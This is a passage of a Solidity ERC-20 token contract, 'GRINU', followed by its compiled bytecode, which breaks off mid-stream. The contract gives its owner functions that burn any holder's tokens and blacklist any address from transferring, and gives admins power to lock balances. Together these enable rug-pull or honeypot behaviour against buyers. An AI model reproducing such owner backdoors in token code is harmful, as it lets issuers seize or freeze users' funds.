"SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract GRINU is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f